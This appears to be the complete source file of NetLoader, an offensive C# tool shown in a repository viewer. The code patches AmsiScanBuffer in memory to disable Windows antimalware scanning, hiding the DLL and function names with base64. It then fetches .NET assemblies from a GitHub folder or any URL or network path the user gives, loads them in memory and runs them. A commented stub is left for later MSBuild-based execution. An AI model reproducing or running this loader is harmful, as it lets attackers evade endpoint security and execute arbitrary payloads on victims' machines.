Files
Flangvik-NetLoader/Source/Program.cs
T

220 lines
6.6 KiB
C#

using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
//This if for MSBuild LOL bin stuff later
//using Microsoft.Build.Framework;
//using Microsoft.Build.Utilities;
public class TotallyNotNt
{
static WebClient leaveMeAlone = new WebClient() { };
static string _repURL = "https://github.com/Flangvik/NetLoader/tree/master/Binaries";
public static void Main(string[] args)
{
string bannerArt = @"
\||/
| @___oo
/\ /\ / (__,,,,|
) / ^\) ^\/ _)
) / ^\/ _)
) _ / / _)
/\ )/\/ || | )_)
< > | (,,) )__)
|| / \)___)\
| \____()___) )___
\______(_______; ; ; __; ; ;
~Flangvik #NetLoader
";
Console.WriteLine(bannerArt);
MoveLifeAhead(System.Environment.Is64BitOperatingSystem);
while (true)
{
try
{
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
List<string> binList = GetBins();
Console.WriteLine("[+] Select a binary (number)>");
Console.WriteLine("------------------------");
Console.WriteLine("[0] - Exit NetLoader");
for (int goodGuyNumber = 0; goodGuyNumber < binList.Count; goodGuyNumber++)
{
Console.WriteLine("[" + (goodGuyNumber + 1) + "] - " + binList[goodGuyNumber]);
if (goodGuyNumber == binList.Count - 1)
{
Console.WriteLine("[" + (goodGuyNumber + 2) + "] - Custom PATH or URL ");
}
}
Console.WriteLine("-----------------------");
var rawInput = Console.ReadLine();
if (Convert.ToInt32(rawInput) == 0)
{
System.Environment.Exit(1);
}
else if (Convert.ToInt32(rawInput) - 1 == binList.Count)
{
Console.WriteLine("[+] Input your own URL / Local Path / direct link to binary");
string binUrl = Console.ReadLine();
Console.WriteLine("[+] Provide arguments for {0} >", binUrl);
string binArgs = Console.ReadLine();
leaveThisAlone("", binArgs, binUrl, false);
}
else if (Convert.ToInt32(rawInput) - 1 > binList.Count | Convert.ToInt32(rawInput) - 1 < 0)
{
Console.WriteLine("[!] Bad Input, sry!");
}
else
{
Console.WriteLine("[+] Provide arguments for {0} >", binList[Convert.ToInt32(rawInput) - 1]);
string binArgs = Console.ReadLine();
leaveThisAlone(binList[Convert.ToInt32(rawInput) - 1], binArgs);
}
}
catch (Exception ex)
{
Console.WriteLine("[!] Damn, it failed, to bad");
Console.WriteLine("[!] {0}", ex.Message);
}
}
}
public static void leaveThisAlone(string binName, string arguments = "", string customUrl = "", bool randomStuff = true)
{
if (!randomStuff)
{
if (!customUrl.StartsWith("http") && customUrl.StartsWith("\\\\"))
{
var foo = Assembly.Load(File.ReadAllBytes(customUrl));
testMe(foo,arguments);
}
if(customUrl.StartsWith("http") && !customUrl.StartsWith("\\\\"))
{
var foo = Assembly.Load(leaveMeAlone.DownloadData(customUrl));
testMe(foo,arguments);
}
}
else
{
var foo = Assembly.Load(leaveMeAlone.DownloadData(_repURL.Replace("tree", "blob") + "/" + binName + "?raw=true"));
testMe(foo,arguments);
}
}
public static void testMe(Assembly fooBarFinally, string args){
var barFoo = new object[] { new string[] { args } };
fooBarFinally.EntryPoint.Invoke(0, barFoo);
}
public static List<string> GetBins()
{
var avBinaries = new List<string>() { };
var websiteSource = leaveMeAlone.DownloadString(_repURL);
Regex rgx = new Regex(@"\/[A-Za-z]{0,50}\.bin", RegexOptions.IgnoreCase);
foreach (var match in rgx.Matches(websiteSource))
{
avBinaries.Add(match.ToString().TrimStart('/'));
}
return avBinaries;
}
private static void MoveLifeAhead(bool BigBoy = false)
{
try
{
var fooBar = WinLibBase.LoadLibrary(Encoding.UTF8.GetString(Convert.FromBase64String("YW1zaS5kbGw=")));
IntPtr addr = WinLibBase.GetProcAddress(fooBar, Encoding.UTF8.GetString(Convert.FromBase64String("QW1zaVNjYW5CdWZmZXI=")));
if (BigBoy)
{
Console.WriteLine("[+] Patching...");
uint someNumber = 0;
WinLibBase.VirtualProtect(addr, (UIntPtr)new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }.Length, 0x40, out someNumber);
Marshal.Copy(new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }, 0, addr, new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }.Length);
Console.WriteLine("[+] Patched!");
}
else
{
Console.WriteLine("[+] Patching ...");
uint someNumber = 0;
WinLibBase.VirtualProtect(addr, (UIntPtr)new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }.Length, 0x40, out someNumber);
Marshal.Copy(new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }, 0, addr, new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }.Length);
Console.WriteLine("[+] Patched!");
}
}
catch (Exception ex)
{
Console.WriteLine("[!] {0}", ex.Message);
}
}
}
public class WinLibBase
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
/*
//This is for MSBuild later
public class ClassExample : Task, ITask
{
public override bool Execute()
{
TotallyNotNt.Main(new string[] { });
return true;
}
}
*/